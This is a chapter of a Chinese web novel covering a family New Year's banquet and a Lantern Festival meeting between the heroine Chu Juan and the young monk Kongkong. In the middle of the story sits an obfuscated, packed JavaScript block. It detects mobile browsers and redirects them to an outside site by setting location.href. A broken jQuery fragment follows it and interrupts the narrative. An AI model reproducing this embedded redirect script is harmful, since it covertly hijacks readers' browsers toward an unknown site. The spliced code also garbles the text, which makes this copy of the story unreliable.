楚瑜见她分心便笑道：“又躲懒？快来，这局我快输了。”楚绢应着，手上打的牌却越来越不走心。


    酒过三巡，堂上笑声更盛。楚怀松又扯着嗓子喊：“员外老爷，您说京城的戏班子好不好？”楚怀庭勉强赔笑：“尚可……”


    女眷席上也气氛正盛，楚绢瞅准时机，将牌往桌子上一扣，嘴里直耍赖：“不玩了、不玩了，这叶子牌越打越没意思。楚琬姐姐来替我，我方才见捶球场上围了好些人，去凑个热闹。”


    楚琬正喜欢这游戏，在一旁看得手痒，眼下得了机会上牌桌，自然答应得爽快。


    楚瑜无奈，但见来替的是楚琬，哪有拒绝的道理？是以她伸出手指点了点楚绢额头，说她两句“小无赖”就放过了她。


    楚绢往捶球那边走了几步，见无人注意，便脚底一溜烟跑了，绕到东边廊下寻到楚擎峰。


    老人正站在月洞门前赏灯，见她过来，眉梢微挑：“绢丫头，可是有话要说？”


    楚绢福身：“孙女儿请老祖宗安。方才见父亲被几位堂兄灌酒，恐他身子受不住，想请您老支个招。”


    楚擎峰抚须大笑，转身往书房走：“来得巧，我正要去寻你父亲说正事。”


    七慎堂的书房烧着地龙，暖和安逸，空气里飘着安神的沉水香。楚怀庭刚被楚擎峰“有要事磋商”为由请来，正有些摸不着头脑。


    “怀庭啊，坐。”


    楚怀庭谨慎地坐了袖墩的一个角，忐忑不安地等着听训。


    楚擎峰呵呵一笑，“你别紧张，伯父今天叫你过来，只是想趁着彼此清闲，谈谈你这两年在官场上的表现。”


    “怀庭啊，你成长了许多……”


    除夕夜宴，在楚擎峰不在的情况下落下帷幕，众人皆喝得酒酣耳热，只有楚瑜维持着清醒理智，发现楚擎峰和楚怀庭并不在场。


    不过，今夜提前离场的又何止他们？楚擎峰毕竟年老，再是精神矍铄也支撑不久；楚怀庭不胜酒力，许是喝倒了被人抬下去休息。楚瑜只是留意到几人不在，却并没有深思这件事。


    除夕之后，楚绢就要跟着长辈们拜访世交亲朋，楚怀庭带着她回了趟外祖家，又去叶家探望了那位姨母。


    楚绢当着众长辈的面，和叶烬霜冷着脸互相见礼，背着人的时候两个小孩儿照样互相扮鬼脸。


    正月十六，长公主又办讲经会。楚绢一早接了请帖，嘴角抽搐，长公主这是成心不让她过个好节啊！


    不过正月十五这日，楚绢穿了件光灿灿的荼白描金绣牡丹连属深衣，鬓边簪着光华流转的白玉兰花簪，提着焦明珰前日送她的绣球宫灯，伴着小姐妹们高高兴兴地上了街，全然不顾长公主明日的邀约。


    反正她又不是去吃酒的，逛街逛累了，不正好早早休息，给明天的讲经会养足精神？


    平日里静静流淌的京畿大运河被上千盏莲花灯搅扰得一片混乱，不时有两盏、三盏甚至数十盏灯撞到一块，“哗啦啦啦”地，成排又成片地沉入水里。


    岸上的人依然乐此不疲地往水里放河灯，前头人的灯坠下去了，正好腾出空来放后面人的。


    人人的花灯都可以在这片水域里存活一会儿，只从这个范畴上来说，今夜的京城人人平等。


    楚绢攥着绣球宫灯停在糖画摊子前，她面前摊开着一本画得栩栩如生的糖画花样集子，有十二生肖、戏曲人物、飞禽走兽等，摊子上还插着十几只做好的糖画。


    她纠结着，因为要给妹妹们也带两支，不知道该买哪种。


    此处靠近灯会最热闹的河边，糖画生意好极了，不一会儿楚绢就感到身后的人群在挤她，远处的姐姐妹妹们瞧着越来越远，她心里着急，随意从摊子上挑了四支糖画，扔下一吊钱就往外走。


    人潮拥挤，楚绢费劲了力气才终于从糖画摊子脱身，只是举目四望，她突然心神一怔。


    她看不见半个楚家人了！


    赶着去放河灯的路人从楚绢身旁走过，有人嫌她站在路中间碍事，顺手推了她一把。


    楚绢“啊——”地一声，身形不可控制地朝路边倒去——


    我的糖画！


    她高举起手中的四支糖画，只觉得一阵天旋地转，后背撞上一个结实的物体，楚绢猛地一闭双眼。


    预想中的疼痛没有袭来，楚绢后知后觉，自己是跌入了一个结实的怀抱，有人双手托住她的手臂，将她整个人圈进了怀里。


    “这位小姐，此时路上人多杂乱，你还是当心些为好。”


    清凌凌的嗓音响在耳边，楚绢一愣这才意识到自己被人接住了，呐呐地点点头，抬眸时却猝不及防撞入一双含情脉脉桃花眼。


    楚绢一愣，“空空？你不是在广安寺吗，怎么来了京城？”


    对方也是一惊，忙松了手退开一步，口中叫着“得罪、得罪。”


    楚绢大为惊奇，这小和尚一向没脸没皮的，怎么突然这么腼腆？


    他退一步，楚绢就凑上去一步，抬头看着他鼻尖那点红痣。


    “一年不见，你怎么长高这么多？分别前你还跟我差不多高呢！”


    空空被她这么靠近，身后又是人潮避无可避，紧张得喉咙一阵阵发紧。


    眼前的小姐比一年前更显成熟，身着华服锦衣，头戴绮丽宝钗，烨然若神妃仙子。


    他看着楚绢不语，楚绢也在打量他。昔日的玩伴长成了翩翩小少年，褪去了初见时的稚气和圆润，变得清瘦挺拔，衬得身上的青色僧袍空空荡荡。唯有腕间一串半久佛珠，仍是昔年广安寺初见时所戴。


    此子初心，经年不改。


    楚绢一时看愣了，直到空空被人撞到后背，猝不及防朝前一倒，她才慌忙扶了他一把，又差点弄掉手里的糖画。


    空空眼明手快地接住她手里的糖画，二人撞在一起，好不狼狈，却都不约而同地笑了出来。


    “这么久不见，你还是这么冒冒失失的。”


    “你也是，跟以前一样笨手笨脚的。”


    二人对视，又默契地一笑。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472393|185312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    空空接过楚绢手里的四支糖画，他的手比楚绢大一圈，牢牢握紧四根竹签，将它们珍之重之地举在身前。


    楚绢自然地拉起他另一只手，站到人潮和空空之间，好让他手里的糖画离人群远些。


    掌心传来另一个人的温度，在这人潮汹涌的上元夜，因走散而惴惴不安的心慢慢安定下来。


    “欸，你还没告诉我，怎么突然来京城了？”


    “长公主邀我师父讲经，我作为弟子随行。明天就是讲经会，师父今晚才发现香烛没带来，这才急忙唤我出来买。”


    “难为你这时候出门，满城都是看花灯的行人，走两步路都费劲。”


    楚绢摇摇头，突然看到前面人潮都往一处挤，忙拉了空空避开：“那边画舫点灯了，我听说今夜这是最大的场面，一定很多人凑到前面去。你快跟我往后面退退。”


    “人人都往那处去，你呢，不想看大花灯？”


    “花灯年年有，可是你的香烛必须今夜买来呀！”


    空空怔愣一瞬，反应过来后，将糖画塞到楚绢手里，将她圈护在怀里，用自己的身体隔开人群。


    “你慢些，当心被人撞到。”


    楚绢从空空怀里探出头去观察路线，一手举起糖画，一手拉着空空圈着她的胳膊，一路逆着人群跑去。


    “这附近就是灯市，今夜宵禁开放，满城的商人都聚在这儿，咱们去看看，有没有卖香烛的摊子。”


    空空护在她身后，心想，他宁愿今日买不到香烛，也盼着这条路长一点、再长一点，最好永生永世都走不完。


    楚绢浑然未觉，挨个摊位看过去，一多半卖的是花灯，剩下一小半卖些小吃、玩具、文房四宝之类的日常用具，并无售卖佛前香烛这样专用的器物。


    失落的情绪漫上心头，空空见状，主动挑起话题：“今夜人流如织，你家里怎么放心你一个人跑出来？”


    楚绢“啊”了一声，才想起来自己跟家人走散，凑到空空耳边悄声道：“我只告诉你，其实我是和家里人一起出来的，只是不巧，方才在糖画摊子前走散了。”


    空空凝眉，肃了脸色，也轻声回道：“如此，我该早日送你和家人团聚才是。不该耽搁你陪我寻香烛摊子的。”


    “嗐！事已至此，说这些作甚？何况若没有你护持，单我一个小姑娘，早被人群挤到不知道什么地方去了，说不定还会失足坠下桥去——”


    “慎言！”


    微凉的手指抵在唇边，楚绢和空空都愣了一瞬，须臾，空空像被楚绢嘴唇上的温度烫到般猛地收回手，手忙脚乱、羞愧难当，竟至以袖掩面的地步。


    “……方才冒犯了。只是这样的话，还是不要轻易宣之于口的好。”


    楚绢：……


    她抿抿唇，不知道为什么，那股痒意始终萦绕在那，经久不散。


    “那个……其实，你可以直接打断我来着……”


    肉眼可见地，空空浑身僵硬。


    楚绢“噗嗤”一笑。